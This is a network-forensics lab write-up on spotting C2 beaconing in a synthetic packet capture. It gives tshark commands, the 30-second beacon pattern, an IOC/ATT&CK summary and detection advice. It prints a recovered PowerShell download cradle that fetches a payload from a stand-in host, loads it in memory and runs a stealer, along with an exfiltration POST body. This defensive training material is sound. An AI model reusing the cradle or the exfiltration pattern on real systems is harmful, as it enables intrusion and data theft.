Lab #08 · C2 beaconing in a PCAP

The sample

File	challenge-08-c2-beacon.pcap
SHA-256	783cf3544c4096a2c925293a1e9f1099962855cd5e18db7025c420cb9b329504
Size	28 packets, Ethernet/IPv4
Context	Egress capture from NORTHSEA-DEV (10.10.10.5)

⬇ Download the capture (.zip)

Synthetic capture. The C2 is in TEST-NET-3 (203.0.113.66) and resolves a .invalid domain, nothing is contacted. Open in Wireshark or tshark.

1. Scenario

A host was flagged for odd outbound traffic. You get the egress capture from NORTHSEA-DEV. Somewhere in it is an implant checking in with its C2 on a fixed schedule, the payload it pulled down, and the data it pushed back out.

Work the capture: identify the C2, prove the beacon, extract the payload, and confirm exfiltration.

📡 Beaconing is an implant contacting its C2 at regular intervals for tasking. The regularity is the signal: humans browse irregularly, malware keeps time.

2. Objectives

Get the protocol and conversation overview and find the one external destination.
Identify the C2 host from DNS and the HTTP Host header.
Prove the beacon interval from the request timestamps.
Export the downloaded payload (the /a.ps1 object).
Spot the exfiltration POST and list the IOCs.

3. Step-by-step analysis

Overview and conversations

tshark · tcpdump

Start wide: what protocols, and who talks to whom. One external IP carrying almost all the traffic is already suspicious.

bash

tshark -r challenge-08-c2-beacon.pcap -q -z conv,tcp
# or with tcpdump:
tcpdump -nqr challenge-08-c2-beacon.pcap | awk '{print $3" > "$5}' | sort | uniq -c

output

TCP Conversations
10.10.10.5:49512 <-> 203.0.113.66:80   frames 26   bytes ~2.9k
(+ one DNS query/response to 10.10.10.1)

💡 A single long-lived TCP session to one external IP on port 80, carrying repeated small requests, is the shape of a beacon, not of a person browsing the web.

Identify the C2

DNS + HTTP host

Resolve the destination to a name and confirm it with the HTTP Host header.

bash

tshark -r challenge-08-c2-beacon.pcap -Y dns -T fields -e dns.qry.name -e dns.a
tshark -r challenge-08-c2-beacon.pcap -Y http.request -T fields -e http.host -e http.request.full_uri

output

stage2-cdn.example.invalid    203.0.113.66
stage2-cdn.example.invalid    http://stage2-cdn.example.invalid/a.ps1
stage2-cdn.example.invalid    http://stage2-cdn.example.invalid/gate.php?id=8f2c1a9d&s=1
...

🔴 The C2 is stage2-cdn.example.invalid at 203.0.113.66, the same stage-2 host as the fileless lab #07. All check-ins hit /gate.php.

Prove the beacon

request timestamps

List the check-in requests with their relative time, then look at the gaps.

bash

tshark -r challenge-08-c2-beacon.pcap \
  -Y 'http.request.uri contains "gate.php"' \
  -T fields -e frame.time_relative -e http.request.uri

output

30.000000   /gate.php?id=8f2c1a9d&s=1
60.000000   /gate.php?id=8f2c1a9d&s=2
90.000000   /gate.php?id=8f2c1a9d&s=3

⏰ A check-in every 30 seconds, on the dot. A fixed interval (here with no jitter) is the classic beacon signature. Real implants often add jitter, so look for near-regular intervals, not just exact ones.

Export the downloaded payload

http object export

The first request pulled a file. Export HTTP objects and read what the C2 served.

bash

tshark -r challenge-08-c2-beacon.pcap --export-objects http,./objects
cat ./objects/a.ps1

output

$u='http://stage2-cdn.example.invalid/payload.dat';(New-Object Net.WebClient).DownloadFile($u,...);
[Reflection.Assembly]::Load([IO.File]::ReadAllBytes(...));[NSD.Stealer]::Run()

📥 The served /a.ps1 is the exact second-stage cradle from the fileless lab #07: it loads an assembly in memory and runs [NSD.Stealer]::Run(). The network capture and the host logs corroborate each other.

Catch the exfiltration

http.request POST

Beacons are small. A single much larger upload stands out, that is usually the data leaving.

bash

tshark -r challenge-08-c2-beacon.pcap -Y 'http.request.method=="POST"' \
  -T fields -e http.request.full_uri -e http.content_length

output

http://stage2-cdn.example.invalid/upload    1010
body: host=NORTHSEA-DEV&user=alex&data=QUxFWDpO...(base64)

✅ A POST /upload ~1 KB, dwarfing the 2-byte beacon replies, carrying host=NORTHSEA-DEV&user=alex&data=.... This is exfiltration over the C2 channel (T1041), the stolen data leaving.

5. Detection

Hunt for periodicity: group flows by destination and look at the inter-request time distribution. A tight peak (even with jitter) is a beacon.
Alert on long-lived low-volume sessions to a single external IP, and on non-browser User-Agents making web requests (here, a PowerShell UA).
Apply egress filtering and force web traffic through a proxy; a workstation talking HTTP straight to a raw IP should not happen.
Feed C2 domains and IPs to your DNS and NDR tooling; correlate with the host logs from labs #06 and #07.

4. IOC and ATT&CK summary

Type	Value	ATT&CK
C2 host	stage2-cdn.example.invalid / 203.0.113.66:80	T1071.001
Beacon	GET /gate.php every 30s (fixed)	T1071.001
Payload	/a.ps1 in-memory loader (see #07)	T1105
Exfiltration	POST /upload, host+user+data (base64)	T1041
User-Agent	PowerShell/5.1 UA on port 80	T1071.001

6. References

MITRE T1071.001, Web Protocols

Command and control over HTTP/S, including beaconing.

MITRE T1041, Exfiltration Over C2 Channel

Sending stolen data back over the same C2 connection.

Wireshark User Guide

Filtering, following streams and exporting objects from a capture.

Detecting beaconing, Active Countermeasures (RITA)

Statistical beacon detection on network telemetry.

← Back to Labs

Entirely fictional environment, for educational use only. The C2 is a TEST-NET address and a non-resolvable .invalid domain.

The heartbeat: finding C2 beaconing in a capture

The sample

1. Scenario

2. Objectives

3. Step-by-step analysis

Overview and conversations

Identify the C2

Prove the beacon

Export the downloaded payload

Catch the exfiltration

5. Detection

4. IOC and ATT&CK summary

6. References